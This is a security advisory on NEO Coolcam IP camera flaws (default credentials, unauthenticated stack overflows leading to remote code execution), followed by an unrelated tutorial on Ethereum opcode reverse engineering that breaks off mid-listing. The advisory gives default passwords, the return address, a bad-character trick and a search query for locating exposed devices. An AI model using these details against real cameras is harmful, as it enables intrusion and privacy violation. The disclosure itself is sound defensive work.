-
酷视(NEO Coolcam)网络摄像头登录绕过及多个基于堆栈溢出的远程代码执行漏洞及数据分析报告
作者:知道创宇404实验室
时间:2018年7月16日
英文版:https://paper.seebug.org/6521. 事件概述
深圳市丽欧电子有限公司(NEO Coolcam,以下简称酷视)[1],是一家集网络数码产品研发、生产、营销于一体的高新技术企业,是国内最早进入网络摄像头领域的专业厂商之一。2004年成立国内摄像头研发中心,并取得多项国家专利,产品通过了国家质量检测部门的认证和CE、FCC等国际标准认证。
早在2017年08月02日,Bitdefender公司的安全研究人员就指出酷视旗下的高清网络摄像头NIP-22和Wi-Fi门铃iDoorbell等设备存在多个缓冲区溢出漏洞,十几万暴漏在公网上的相关设备受到潜在的安全威胁,并提供了相关研究报告[2]。2017年9月左右,我们观察到酷视的英文版官网上发布了最新的固件[3],修复了溢出漏洞。
2018年07月10日,在后续的对网络空间上易受漏洞影响的物联网设备的风险评估中,我们通过ZoomEye网络空间搜索引擎对相关漏洞设备进行搜索,共发现了65万的IP历史记录,其中在中国含该漏洞的设备数量最多,约为16.7万。此外,我们还有以下发现:
- 从酷视官方发布更新版固件到本文发布约一年的时间里,大部分设备依然没有安装更新版固件。原因有以下几点:1、目标设备本身不具有自动升级机制;2、普通用户不会意识到存在漏洞并手动更新固件;3、更新版固件只发布在英文版官网中;4、其他OEM厂商生产的设备也存在该漏洞。
- 在目标设备的固件审计过程中,我们发现了登录绕过漏洞,相关细节将在下面的章节中呈现。
这意味着还有很大数量的目标设备处于风险之中。知道创宇404实验室对酷视NIP-22FX这款摄像头的系列缓冲区溢出漏洞进行了深入研究,并成功从缓冲区溢出到远程代码执行,证实了该漏洞有被黑产利用的潜在风险。同时审计过程中发现了登录绕过漏洞,对用户隐私也是个严重的威胁。
2.漏洞分析
2.1 目标设备的相关信息
设备版本:NeoCoolcam IPCam NIP-22FX
漏洞二进制文件:MD5 (ipc_server) = 312d924344364620d85099ed279a5f03
固件版本:V7.7.4.1.1-20160701提供Web服务和RTSP服务的主程序为 ipc_server文件,目标系统为ARM、32位小端架构。
缓冲区溢出缓解措施为全部关闭状态。
2.2 登录绕过漏洞
摄像头 Web 服务基于 HTTP 基本认证,存在三组默认凭证,三组凭证对应不同的权限等级,安装时 APP 只会提醒修改 admin 账户的默认密码。三组默认凭证及对用的操作如下:
- admin:admin,
- user:user;
- guest:guest;
值得一提的是,user 账户和 guest 账户也可以查看视频流,大部分用户不会修改这些账户的默认密码,导致隐私泄漏。
2.3 Web 服务基于缓冲区溢出的远程代码执行漏洞(无需认证)
2.3.1 漏洞细节分析
该溢出点位于地址 0x0007DE80 附近,该函数的处理逻辑是调用libs_parsedata函数解析URL中的usr和pwd,并将其分别存储到本函数栈帧的两块缓冲区中。
libs_parsedata函数的原型为:
1int libs_parsedata(int a1, int a2, char *needle, int a4, int a5, int a6){}接受6个参数,从左往右依次为a1:原字符串,a2:原串的长度,needle:匹配待截取字符串的开头,a4:用来截取字符串的分隔符,a6:存储截取后字符串的目标缓冲区。
该函数的处理逻辑为:使用needle字符串和分隔符a4截取原字符串a1,截取后通过strncpy()函数将截取后的串写入a6所指的缓冲区中,写入的长度为截取字符串的长度,最后写入一个字节’\x00’。由于GET参数长度可控,当攻击者输入超出缓冲区长度的usr或pwd值时,会使缓冲区溢出。
2.3.2 漏洞利用分析
二进制文件ipc_server的缓冲区溢出措施皆为关闭状态,利用该缓冲区溢出漏洞的难度很低。利用过程中需要考虑到规避空白符、&、\x00等坏字符,空白符可用 ${IFS} 替代。
在ipc_server的0x0004E4D8地址处含有如下代码:
攻击者只需让返回地址指向地址0x0004E4D8,返回地址之后紧跟待执行的命令,即可成功从缓冲区溢出到远程代码执行。由于libs_parsedata函数会在字符串末尾写入一个\x00,可以同时利用两个溢出漏洞分别写入返回地址和待执行命令。
目标系统不含curl、nc、wget等命令,可将命令执行结果重定向之Web目录,之后访问HTTP接口即可获取执行结果。如果攻击者和摄像头在同一个网络环境,攻击者也可能开启目标系统的telnetd服务,实现对漏洞设备的完全控制。因为目标设备的文件系统以读写方式挂载,有被攻击者恶意篡改的风险。
在NIP-22FX上的复现结果如下:
2.3.3 补丁分析
在最新版的固件(V7.7.4.1.1-20170828)中,libs_parsedata函数加入了第七个参数,用以控制写入目标缓冲区的长度。
2.4 RTSP 服务基于缓冲区溢出的远程代码执行漏洞(无需认证)
2.4.1 漏洞细节分析
该溢出点位于地址0x006C6D4处,利用 sscanf 函数匹配 RTSP Header 中 Authorization: Digest key="value" 中的key和value两部分内容并将之存到本函数堆栈,没有检查这两部分的长度,导致堆栈溢出。
2.4.2 漏洞利用分析
该漏洞的利用和2.3.2节中Web服务的缓冲区溢出漏洞利用方法一致,攻击者可利用两个溢出漏洞分别写入待执行的命令和返回地址,很容易的从缓冲区溢出提升到远程代码执行。
在NIP-22FX的复现结果如下,成功利用RTSP服务的缓冲区溢出开启了目标系统的telnetd服务。
2.4.3 补丁分析
在最新版的固件(V7.7.4.1.1-20170828)中,sscanf 的正则匹配表达式中加入了长度限制,最长为255字节,而缓冲区距离栈底为296字节,无法覆盖返回地址。
3. 漏洞影响范围
我们通过提取酷视NIP-22高清摄像头设备相关的“关键词”,在ZoomEye网络空间搜索引擎[4]上共发现了651,780个 IP历史数据。
我们通过对 ZoomEye 网络空间搜索引擎 "Error: username or password error,please input again." 这个关键词得到的651,780条IP历史记录进行确认,发现其中58,413台设备仍然存活。
存活设备国家分布如下,可以看出这些漏洞设备主要分布在韩国、美国、中国等国家。由于中国的网络IP变化快,在中国的相关存活设备数量实际上不止5,878台。
存活设备在中国的省份分布如下,主要分布在香港,其次是台湾,ZoomEye网络空间搜索引擎上中国大陆地区的历史IP数据基本都已失效。
对以上存活的设备进行进一步统计分析,发现大部分设备均至少存在一种默认凭证。由此可见酷视高清摄像头设备普遍存在默认凭证,攻击者可使用默认凭证访问摄像头的视频流,有较大的隐私泄漏风险。值得一提的是,存活的设备中也有很多存在 admin:admin 默认凭证,攻击者可获得管理员身份,并可能通过上传精心制作的设备固件完全接管目标设备。
在对受漏洞影响的设备进行数据分析的过程中,我们发现存在大量设备是贴牌销售,设备固件存在极大的同源性,有的两个不同厂商之间的设备仅仅是换了个LOGO。
通过设备页面 ”/web/mainpage.html” 内容的md5值对不同OEM厂商进行区分,统计结果如下:
除了默认凭证问题,酷视高清摄像头NIP-22还存在无需认证的Web服务及RTSP服务缓冲区溢出漏洞,该溢出漏洞的利用难度很低,攻击者可基于此溢出漏洞远程执行任意命令。溢出发生后,watchdog进程会重启整个系统,攻击者也可利用这点使摄像头拒绝服务。由于固件的同源性,这两个溢出漏洞也有很大可能存在于其他OEM厂商生产的设备中。
4. 漏洞修复建议
4.1 对用户的修复建议
为避免隐私泄漏,建议用户尽快修复系列漏洞。
首先,用户可登录摄像头Web管理系统,在以下页面中修改三组默认凭证的用户名和密码。
其次,如果是酷视的设备,建议从酷视官网下载对应设备的最新版固件[3],并手动更新,以修复两个溢出漏洞。如果是其他OEM厂商的设备,可以尝试和厂商联系获取更新固件,并将设备同公网隔离。
4.2 对厂商的修复建议
由于这系列漏洞影响国内外几十个OEM厂商,请上表中可能存在漏洞的厂商自查,及时发布补丁固件并通知用户更新设备固件。
5. 总结
- 存活设备中大部分以上都存在默认凭证,对于用户的隐私是个极大的威胁,用户应及时修改默认密码。
- 这系列漏洞还可能影响国内外几十个OEM厂商。嵌入式设备固件开发过程中一般都会使用第三方的开源工具或通用软件,这些通用软件又通常由某一特定厂商研发,这就导致很多设备固件存在同源性,不同品牌的设备可能运行相同或者类似的固件以及包含相同的第三方库。漏洞曝出后,由于影响厂商众多,而并不是所有厂商都会发布漏洞补丁,这就导致网络空间上大量漏洞设备无法修复漏洞。
- 近年来,路由器、摄像头、摄像机、NAS、智能穿戴设备等 IOT 设备的安全漏洞层出不穷,伴随着越来越多的嵌入式设备连入网络,总体安全形势日益突出,用户的个人隐私受到严重的威胁。一方面,厂商及开发者应不断提高自主研发设备的安全性。另一方面,漏洞是不可避免的。对于用户,应该努力提高自己的安全意识,尽量避免将此类设备直接暴露在网络空间上。对于各 IOT 厂商,针对目前安全漏洞曝出越来越频繁,及时修复漏洞,对产品提供自动升级机制是行之有效的方法。
6. 相关链接
[1] NEO Coolcam 官网
http://www.szneo.com/
[2] Bitdefender漏洞公告
https://www.bitdefender.com/box/blog/ip-cameras-vulnerabilities/neo-coolcams-not-cool-buffer-overflow/
[3] 官方更新固件下载地址
http://szneo.com/en/service/index.php
[4] ZoomEye网络空间探测引擎
https://www.zoomeye.org/searchResult?q=%22Error%3A%20username%20or%20password%20error%2Cplease%20input%20again.%22
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/653/
没有评论 -
以太坊智能合约OPCODE逆向之理论基础篇
作者:Hcamael@知道创宇404区块链安全研究团队
在我们对etherscan等平台上合约进行安全审查时,常常会遇到没有公布Solidity源代码的合约,只能获取到合约的OPCODE,所以一个智能合约的反编译器对审计无源码的智能合约起到了非常重要的作用。
目前在互联网上常见的反编译工具只有porosity[1],另外在Github上还找到另外的反编译工具ethdasm[2],经过测试发现这两个编译器都有许多bug,无法满足我的工作需求。因此我开始尝试研究并开发能满足我们自己需求的反编译工具,在我看来如果要写出一个优秀的反汇编工具,首先需要有较强的OPCODE逆向能力,本篇Paper将对以太坊智能合约OPCODE的数据结构进行一次深入分析。
基础
智能合约的OPCODE是在EVM(Ethereum Virtual Machine)中进行解释执行,OPCODE为1字节,从
0x00 - 0xff
代表了相对应的指令,但实际有用的指令并没有0xff个,还有一部分未被使用,以便将来的扩展具体指令可参考Github[3]上的OPCODE指令集,每个指令具体含义可以参考相关文档[4]
IO
在EVM中不存在寄存器,也没有网络IO相关的指令,只存在对栈(stack),内存(mem), 存储(storage)的读写操作
- stack
使用的push和pop对栈进行存取操作,push后面会带上存入栈数据的长度,最小为1字节,最大为32字节,所以OPCODE从
0x60-0x7f
分别代表的是push1-push32
PUSH1
会将OPCODE后面1字节的数据放入栈中,比如字节码是0x6060
代表的指令就是PUSH1 0x60
除了
PUSH
指令,其他指令获取参数都是从栈中获取,指令返回的结果也是直接存入栈中- mem
内存的存取操作是
MSTORE
和MLOAD
MSTORE(arg0, arg1)
从栈中获取两个参数,表示MEM[arg0:arg0+32] = arg1
MLOAD(arg0)
从栈中获取一个参数,表示PUSH32(MEM[arg0:arg0+32])
因为
PUSH
指令,最大只能把32字节的数据存入栈中,所以对内存的操作每次只能操作32字节但是还有一个指令
MSTORE8
,只修改内存的1个字节MSTORE(arg0, arg1)
从栈中获取两个参数,表示MEM[arg0] = arg1
内存的作用一般是用来存储返回值,或者某些指令有处理大于32字节数据的需求
比如:
SHA3(arg0, arg1)
从栈中获取两个参数,表示SHA3(MEM[arg0:arg0+arg1])
,SHA3对内存中的数据进行计算sha3哈希值,参数只是用来指定内存的范围- storage
上面的stack和mem都是在EVM执行OPCODE的时候初始化,但是storage是存在于区块链中,我们可以类比为计算机的存储磁盘。
所以,就算不执行智能合约,我们也能获取智能合约storage中的数据:
12eth.getStorageAt(合约地址, slot)# 该函数还有第三个参数,默认为"latest",还可以设置为"earliest"或者"pending",具体作用本文不做分析storage用来存储智能合约中所有的全局变量
使用
SLOAD
和SSTORE
进行操作SSTORE(arg0, arg1)
从栈中获取两个参数,表示eth.getStorageAt(合约地址, arg0) = arg1
SLOAD(arg0)
从栈中获取一个参数,表示PUSH32(eth.getStorageAt(合约地址, arg0))
变量
智能合约的变量从作用域可以分为三种, 全局公有变量(public), 全局私有变量(private), 局部变量
全局变量和局部变量的区别是,全局变量储存在storage中,而局部变量是被编译进OPCODE中,在运行时,被放在stack中,等待后续使用
公有变量和私有变量的区别是,公有变量会被编译成一个constant函数,后面会分析函数之前的区别
因为私有变量也是储存在storage中,而storage是存在于区块链当中,所以相当于私有变量也是公开的,所以不要想着用私有变量来储存啥不能公开的数据。
全局变量的储存模型
不同类型的变量在storage中储存的方式也是有区别的,下面对各种类型的变量的储存模型进行分析
1. 定长变量
第一种我们归类为定长变量,所谓的定长变量,也就是该变量在定义的时候,其长度就已经被限制住了
比如定长整型(int/uint......), 地址(address), 定长浮点型(fixed/ufixed......), 定长字节数组(bytes1-32)
这类的变量在storage中都是按顺序储存
1234567uint a; // slot = 0address b; // 1ufixed c; // 2bytes32 d; // 3##a == eth.getStorageAt(contract, 0)d == eth.getStorageAt(contract, 3)上面举的例子,除了
address
的长度是160bits,其他变量的长度都是256bits,而storage是256bits对齐的,所以都是一个变量占着一块storage,但是会存在连续两个变量的长度不足256bits的情况1234address a; // slot = 0uint8 b; // 0address c; // 1uint16 d; // 1在opcode层面,获取a的值得操作是:
SLOAD(0) & 0xffffffffffffffffffffffffffffffffffffffff
获取b值得操作是:
SLOAD(0) // 0x10000000000000000000000000000000000000000 & 0xff
获取d值得操作是:
SLOAD(1) // 0x10000000000000000000000000000000000000000 & 0xffff
因为b的长度+a的长度不足256bits,变量a和b是连续的,所以他们在同一块storage中,然后在编译的过程中进行区分变量a和变量b,但是后续在加上变量c,长度就超过了256bits,因此把变量c放到下一块storage中,然后变量d跟在c之后
从上面我们可以看出,storage的储存策略一个是256bits对齐,一个是顺序储存。(并没有考虑到充分利用每一字节的储存空间,我觉得可以考虑把d变量放到b变量之后)
2. 映射变量
1mapping(address => uint) a;映射变量就没办法想上面的定长变量按顺序储存了,因为这是一个键值对变量,EVM采用的机制是:
SLOAD(sha3(key.rjust(64, "0")+slot.rjust(64, "0")))
比如:
a["0xd25ed029c093e56bc8911a07c46545000cbf37c6"]
首先计算sha3哈希值:1234567>>> from sha3 import keccak_256>>> data = "d25ed029c093e56bc8911a07c46545000cbf37c6".rjust(64, "0")>>> data += "00".rjust(64, "0")>>> keccak_256(data.encode()).hexdigest()'739cc24910ff41b372fbcb2294933bdc3108bd86ffd915d64d569c68a85121ec'#a["0xd25ed029c093e56bc8911a07c46545000cbf37c6"] == SLOAD("739cc24910ff41b372fbcb2294933bdc3108bd86ffd915d64d569c68a85121ec")我们也可以使用以太坊客户端直接获取:
1> eth.getStorageAt(合约地址, "739cc24910ff41b372fbcb2294933bdc3108bd86ffd915d64d569c68a85121ec")还有slot需要注意一下:
1234address public a; // slot = 0mapping(address => uint) public b; // slot = 1uint public d; // slot = 1mapping(address => uint) public c; // slot = 3根据映射变量的储存模型,或许我们真的可以在智能合约中隐藏私密信息,比如,有一个secret,只有知道key的人才能知道secret的内容,我们可以
b[key] = secret
, 虽然数据仍然是储存在storage中,但是在不知道key的情况下却无法获取到secret
。不过,storage是存在于区块链之中,目前我猜测是通过智能合约可以映射到对应的storage,storage不可能会初始化
256*256bits
的内存空间,那样就太消耗硬盘空间了,所以可以通过解析区块链文件,获取到storage全部的数据。上面这些仅仅是个人猜想,会作为之后研究以太坊源码的一个研究方向。
3. 变长变量
变长变量也就是数组,长度不一定,其储存方式有点像上面两种的结合
123uint a; // slot = 0uint[] b; // 1uint c; // 2数组任然会占用对应slot的storage,储存数组的长度(
b.length == SLOAD(1)
)比如我们想获取
b[1]
的值,会把输入的index
和SLOAD(1)
的值进行比较,防止数组越界访问然后计算slot的sha3哈希值:
12345678910>>> from sha3 import keccak_256>>> slot = "01".rjust(64, "0")>>> keccak_256(slot.encode()).hexdigest()'20ec45d096f1fa2aeff1e3da8a84697d90109524958ed4be9f6d69e37a9140a4'#b[X] == SLOAD('20ec45d096f1fa2aeff1e3da8a84697d90109524958ed4be9f6d69e37a9140a4' + X)# 获取b[2]的值> eth.getStorageAt(合约地址, "20ec45d096f1fa2aeff1e3da8a84697d90109524958ed4be9f6d69e37a9140a6")在变长变量中有两个特例:
string
和bytes
字符串可以认为是字符数组,bytes是byte数组,当这两种变量的长度在
0-31
时,值储存在对应slot的storage上,最后一字节为长度*2|flag
, 当flag = 1,表示长度>31,否则长度<=31下面进行举例说明
123uint i; // slot = 0string a = "c"*31; // 1SLOAD(1) == "c*31" + "00" | 31*2 == "636363636363636363636363636363636363636363636363636363636363633e"当变量的长度大于31时,
SLOAD(slot)
储存length*2|flag
,把值储存到sha3(slot)
1234uint i; // slot = 0string a = "c"*36; // 1SLOAD(1) == 36*2|1 == 0x49SLOAD(SHA3("01".rjust(64, "0"))) == "c"*364. 结构体
结构体没有单独特殊的储存模型,结构体相当于变量数组,下面进行举例说明:
12345678910111213struct test {uint a;uint b;uint c;}address g;Test e;# 上面变量在storage的储存方式等同于address g;uint a;uint b;uint c;函数
两种调用函数的方式
下面是针对两种函数调用方式说明的测试代码,发布在测试网络上: https://ropsten.etherscan.io/address/0xc9fbe313dc1d6a1c542edca21d1104c338676ffd#code
12345678910111213141516171819pragma solidity ^0.4.18;contract Test {address public owner;uint public prize;function Test() {owner = msg.sender;}function test1() constant public returns (address) {return owner;}function test2(uint p) public {prize += p;}}整个OPCODE都是在EVM中执行,所以第一个调用函数的方式就是使用EVM进行执行OPCODE:
12345# 调用test1> eth.call({to: "0xc9fbe313dc1d6a1c542edca21d1104c338676ffd", data: "0x6b59084d"})"0x0000000000000000000000000109dea8b64d87a26e7fe9af6400375099c78fdd"> eth.getStorageAt("0xc9fbe313dc1d6a1c542edca21d1104c338676ffd", 0)"0x0000000000000000000000000109dea8b64d87a26e7fe9af6400375099c78fdd"第二种方式就是通过发送交易:
123456# 调用test2> eth.getStorageAt("0xc9fbe313dc1d6a1c542edca21d1104c338676ffd", 1)"0x0000000000000000000000000000000000000000000000000000000000000005"> eth.sendTransaction({from: eth.accounts[0], to: "0xc9fbe313dc1d6a1c542edca21d1104c338676ffd", data: "0xcaf446830000000000000000000000000000000000000000000000000000000000000005"})> eth.getStorageAt("0xc9fbe313dc1d6a1c542edca21d1104c338676ffd", 1)"0x000000000000000000000000000000000000000000000000000000000000000a"这两种调用方式的区别有两个:
- 使用call调用函数是在本地使用EVM执行合约的OPCODE,所以可以获得返回值
- 通过交易调用的函数,能修改区块链上的storage
一个调用合约函数的交易(比如
https://ropsten.etherscan.io/tx/0xab1040ff9b04f8fc13b12057f9c090e0a9348b7d3e7b4bb09523819e575cf651
)的信息中,是不存在返回值的信息,但是却可以修改storage的信息(一个交易是怎么修改对应的storage信息,是之后的一个研究方向)而通过call调用,是在本地使用EVM执行OPCODE,返回值是存在MEM中return,所以可以获取到返回值,虽然也可以修改storage的数据,不过只是修改你本地数据,不通过发起交易,其他节点将不会接受你的更改,所以是一个无效的修改,同时,本地调用函数也不需要消耗gas,所以上面举例中,在调用信息的字典里,不需要
from
字段,而交易却需要指定(设置from
)从哪个账号消耗gas。调用函数
EVM是怎么判断调用哪个函数的呢?下面使用OPCODE来进行说明
每一个智能合约入口代码是有固定模式的,我们可以称为智能合约的主函数,上面测试合约的主函数如下:
PS: Github[5]上面有一个EVM反汇编的IDA插件
1234567891011121314151617181920212223242526272829303132333435363738[ 0x0] | PUSH1 | ['0x80'][ 0x2] | PUSH1 | ['0x40'][ 0x4] | MSTORE | None[ 0x5] | PUSH1 | ['0x4'][ 0x7] | CALLDATASIZE | None[ 0x8] | LT | None[ 0x9] | PUSH2 | ['0x61'][ 0xc] | JUMPI | None[ 0xd] | PUSH4 | ['0xffffffff'][ 0x12] | PUSH29 | ['0x100000000000000000000000000000000000000000000000000000000'][ 0x30] | PUSH1 | ['0x0'][ 0x32] | CALLDATALOAD | None[ 0x33] | DIV | None[ 0x34] | AND | None[ 0x35] | PUSH4 | ['0x6b59084d'][ 0x3a] | DUP2 | None[ 0x3b] | EQ | None[ 0x3c] | PUSH2 | ['0x66'][ 0x3f] | JUMPI | None[ 0x40] | DUP1 | None[ 0x41] | PUSH4 | ['0x8da5cb5b'][ 0x46] | EQ | None[ 0x47] | PUSH2 | ['0xa4'][ 0x4a] | JUMPI | None[ 0x4b] | DUP1 | None[ 0x4c] | PUSH4 | ['0xcaf44683'][ 0x51] | EQ | None[ 0x52] | PUSH2 | ['0xb9'][ 0x55] | JUMPI | None[ 0x56] | DUP1 | None[ 0x57] | PUSH4 | ['0xe3ac5d26'][ 0x5c] | EQ | None[ 0x5d] | PUSH2 | ['0xd3'][ 0x60] | JUMPI | None[ 0x61] | JUMPDEST | None[ 0x62] | PUSH1 | ['0x0'][ 0x64] | DUP1 | None[ 0x65] | REVERT | None反编译出来的代码就是:
1234567891011121314def main():if CALLDATASIZE >= 4:data = CALLDATA[:4]if data == 0x6b59084d:test1()elif data == 0x8da5cb5b:owner()elif data == 0xcaf44683:test2()elif data == 0xe3ac5d26:prize()else:passraisePS:因为个人习惯问题,反编译最终输出没有选择对应的Solidity代码,而是使用Python。
从上面的代码我们就能看出来,EVM是根据
CALLDATA
的前4字节来确定调用的函数的,这4个字节表示的是函数的sha3哈希值的前4字节:123456789> web3.sha3("test1()")"0x6b59084dfb7dcf1c687dd12ad5778be120c9121b21ef90a32ff73565a36c9cd3"> web3.sha3("owner()")"0x8da5cb5b36e7f68c1d2e56001220cdbdd3ba2616072f718acfda4a06441a807d"> web3.sha3("prize()")"0xe3ac5d2656091dd8f25e87b604175717f3442b1e2af8ecd1b1f708bab76d9a91"# 如果该函数有参数,则需要加上各个参数的类型> web3.sha3("test2(uint256)")"0xcaf446833eef44593b83316414b79e98fec092b78e4c1287e6968774e0283444"所以可以去网上找个哈希表映射[6],这样有概率可以通过hash值,得到函数名和参数信息,减小逆向的难度
主函数中的函数
上面给出的测试智能合约中只有两个函数,但是反编译出来的主函数中,却有4个函数调用,其中两个是公有函数,另两个是公有变量
智能合约变量/函数类型只有两种,公有和私有,公有和私有的区别很简单,公有的是能别外部调用访问,私有的只能被本身调用访问
对于变量,不管是公有还是私有都能通过
getStorageAt
访问,但是这是属于以太坊层面的,在智能合约层面,把公有变量给编译成了一个公有函数,在这公有函数中返回SLOAD(slot)
,而私有函数只能在其他函数中特定的地方调用SLOAD(slot)
来访问在上面测试的智能合约中,
test1()
函数等同于owner()
,我们可以来看看各自的OPCODE:123456789101112131415161718192021222324252627282930313233343536373839404142434445; test1(); 0x66: loc_66[ 0x66] | JUMPDEST | None[ 0x67] | CALLVALUE | None[ 0x68] | DUP1 | None[ 0x69] | ISZERO | None[ 0x6a] | PUSH2 | ['0x72'][ 0x6d] | JUMPI | None[ 0x6e] | PUSH1 | ['0x0'][ 0x70] | DUP1 | None[ 0x71] | REVERT | None; 0x72: loc_72[ 0x72] | JUMPDEST | None[ 0x73] | POP | None[ 0x74] | PUSH2 | ['0x7b'][ 0x77] | PUSH2 | ['0xfa'][ 0x7a] | JUMP | None; 0xFA: loc_fa[ 0xfa] | JUMPDEST | None[ 0xfb] | PUSH1 | ['0x0'][ 0xfd] | SLOAD | None[ 0xfe] | PUSH20 | ['0xffffffffffffffffffffffffffffffffffffffff'][ 0x113] | AND | None[ 0x114] | SWAP1 | None[ 0x115] | JUMP | None; 0x7B: loc_7b[ 0x7b] | JUMPDEST | None[ 0x7c] | PUSH1 | ['0x40'][ 0x7e] | DUP1 | None[ 0x7f] | MLOAD | None[ 0x80] | PUSH20 | ['0xffffffffffffffffffffffffffffffffffffffff'][ 0x95] | SWAP1 | None[ 0x96] | SWAP3 | None[ 0x97] | AND | None[ 0x98] | DUP3 | None[ 0x99] | MSTORE | None[ 0x9a] | MLOAD | None[ 0x9b] | SWAP1 | None[ 0x9c] | DUP2 | None[ 0x9d] | SWAP1 | None[ 0x9e] | SUB | None[ 0x9f] | PUSH1 | ['0x20'][ 0xa1] | ADD | None[ 0xa2] | SWAP1 | None[ 0xa3] | RETURN | None和
owner()
函数进行对比:123456789101112131415161718192021222324252627282930313233343536373839404142434445; owner(); 0xA4: loc_a4[ 0xa4] | JUMPDEST | None[ 0xa5] | CALLVALUE | None[ 0xa6] | DUP1 | None[ 0xa7] | ISZERO | None[ 0xa8] | PUSH2 | ['0xb0'][ 0xab] | JUMPI | None[ 0xac] | PUSH1 | ['0x0'][ 0xae] | DUP1 | None[ 0xaf] | REVERT | None; 0xB0: loc_b0[ 0xb0] | JUMPDEST | None[ 0xb1] | POP | None[ 0xb2] | PUSH2 | ['0x7b'][ 0xb5] | PUSH2 | ['0x116'][ 0xb8] | JUMP | None; 0x116: loc_116[ 0x116] | JUMPDEST | None[ 0x117] | PUSH1 | ['0x0'][ 0x119] | SLOAD | None[ 0x11a] | PUSH20 | ['0xffffffffffffffffffffffffffffffffffffffff'][ 0x12f] | AND | None[ 0x130] | DUP2 | None[ 0x131] | JUMP | None; 0x7B: loc_7b[ 0x7b] | JUMPDEST | None[ 0x7c] | PUSH1 | ['0x40'][ 0x7e] | DUP1 | None[ 0x7f] | MLOAD | None[ 0x80] | PUSH20 | ['0xffffffffffffffffffffffffffffffffffffffff'][ 0x95] | SWAP1 | None[ 0x96] | SWAP3 | None[ 0x97] | AND | None[ 0x98] | DUP3 | None[ 0x99] | MSTORE | None[ 0x9a] | MLOAD | None[ 0x9b] | SWAP1 | None[ 0x9c] | DUP2 | None[ 0x9d] | SWAP1 | None[ 0x9e] | SUB | None[ 0x9f] | PUSH1 | ['0x20'][ 0xa1] | ADD | None[ 0xa2] | SWAP1 | None[ 0xa3] | RETURN | None所以我们可以得出结论:
1234567891011121314address public a;会被编译成(==)function a() public returns (address) {return a;}#address private a;function c() public returns (address) {return a;}等同于下面的变量定义(≈)address public c;公有函数和私有函数的区别也很简单,公有函数会被编译进主函数中,能通过
CALLDATA
进行调用,而私有函数则只能在其他公有函数中进行调用,无法直接通过设置CALLDATA
来调用私有函数回退函数和payable
在智能合约中,函数都能设置一个
payable
,还有一个特殊的回退函数,下面用实例来介绍回退函数比如之前的测试合约加上了回退函数:
123function() {prize += 1;}则主函数的反编译代码就变成了:
1234567891011121314def main():if CALLDATASIZE >= 4:data = CALLDATA[:4]if data == 0x6b59084d:return test1()elif data == 0x8da5cb5b:return owner()elif data == 0xcaf44683:return test2()elif data == 0xe3ac5d26:return prize()assert msg.value == 0prize += 1exit()当
CALLDATA
和该合约中的函数匹配失败时,将会从抛异常,表示执行失败退出,变成调用回退函数每一个函数,包括回退函数都可以加一个关键字:
payable
,表示可以给该函数转帐,从OPCODE层面讲,没有payable
关键字的函数比有payable
的函数多了一段代码:123456789JUMPDEST | NoneCALLVALUE | NoneDUP1 | NoneISZERO | NonePUSH2 | ['0x8e']JUMPI | NonePUSH1 | ['0x0']DUP1 | NoneREVERT | None反编译成python,就是:
1assert msg.value == 0REVERT
是异常退出指令,当交易的金额大于0时,则异常退出,交易失败函数参数
函数获取数据的方式只有两种,一个是从storage中获取数据,另一个就是接受用户传参,当函数hash表匹配成功时,我们可以知道该函数的参数个数,和各个参数的类型,但是当hash表匹配失败时,我们仍然可以获取该函数参数的个数,因为获取参数和主函数、
payable
检查一样,在OPCODE层面也有固定模型:比如上面的测试合约,调动
test2
函数的固定模型就是:main -> payable check -> get args -> 执行函数代码
获取参数的OPCODE如下
12345678910; 0xAF: loc_af[ 0xaf] | JUMPDEST | None[ 0xb0] | POP | None[ 0xb1] | PUSH2 | ['0xd1'][ 0xb4] | PUSH20 | ['0xffffffffffffffffffffffffffffffffffffffff'][ 0xc9] | PUSH1 | ['0x4'][ 0xcb] | CALLDATALOAD | None[ 0xcc] | AND | None[ 0xcd] | PUSH2 | ['0x18f'][ 0xd0] | JUMP | None函数test2的参数
p = CALLDATA[4:4+0x20]
如果有第二个参数,则是
arg2 = CALLDATA[4+0x20:4+0x40]
,以此类推所以智能合约中,调用函数的规则就是
data = sha3(func_name)[:4] + *args
但是,上面的规则仅限于定长类型的参数,如果参数是
string
这种不定长的变量类型时,固定模型仍然不变,但是在从calldata
获取数据的方法,变得不同了,定长的变量是通过调用CALLDATALOAD
,把值存入栈中,而string
类型的变量,因为长度不定,会超过256bits的原因,使用的是calldatacopy
把参数存入MEM可以看看
function test3(string a) public {}
函数获取参数的代码:123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869; 0xB2: loc_b2[ 0xb2] | JUMPDEST | None[ 0xb3] | POP | None[ 0xb4] | PUSH1 | ['0x40'][ 0xb6] | DUP1 | None[ 0xb7] | MLOAD | None[ 0xb8] | PUSH1 | ['0x20'][ 0xba] | PUSH1 | ['0x4'][ 0xbc] | DUP1 | None[ 0xbd] | CALLDATALOAD | None[ 0xbe] | DUP1 | None[ 0xbf] | DUP3 | None[ 0xc0] | ADD | None[ 0xc1] | CALLDATALOAD | None[ 0xc2] | PUSH1 | ['0x1f'][ 0xc4] | DUP2 | None[ 0xc5] | ADD | None[ 0xc6] | DUP5 | None[ 0xc7] | SWAP1 | None[ 0xc8] | DIV | None[ 0xc9] | DUP5 | None[ 0xca] | MUL | None[ 0xcb] | DUP6 | None[ 0xcc] | ADD | None[ 0xcd] | DUP5 | None[ 0xce] | ADD | None[ 0xcf] | SWAP1 | None[ 0xd0] | SWAP6 | None[ 0xd1] | MSTORE | None[ 0xd2] | DUP5 | None[ 0xd3] | DUP5 | None[ 0xd4] | MSTORE | None[ 0xd5] | PUSH2 | ['0xff'][ 0xd8] | SWAP5 | None[ 0xd9] | CALLDATASIZE | None[ 0xda] | SWAP5 | None[ 0xdb] | SWAP3 | None[ 0xdc] | SWAP4 | None[ 0xdd] | PUSH1 | ['0x24'][ 0xdf] | SWAP4 | None[ 0xe0] | SWAP3 | None[ 0xe1] | DUP5 | None[ 0xe2] | ADD | None[ 0xe3] | SWAP2 | None[ 0xe4] | SWAP1 | None[ 0xe5] | DUP2 | None[ 0xe6] | SWAP1 | None[ 0xe7] | DUP5 | None[ 0xe8] | ADD | None[ 0xe9] | DUP4 | None[ 0xea] | DUP3 | None[ 0xeb] | DUP1 | None[ 0xec] | DUP3 | None[ 0xed] | DUP5 | None[ 0xee] | CALLDATACOPY | None[ 0xef] | POP | None[ 0xf0] | SWAP5 | None[ 0xf1] | SWAP8 | None[ 0xf2] | POP | None[ 0xf3] | PUSH2 | ['0x166'][ 0xf6] | 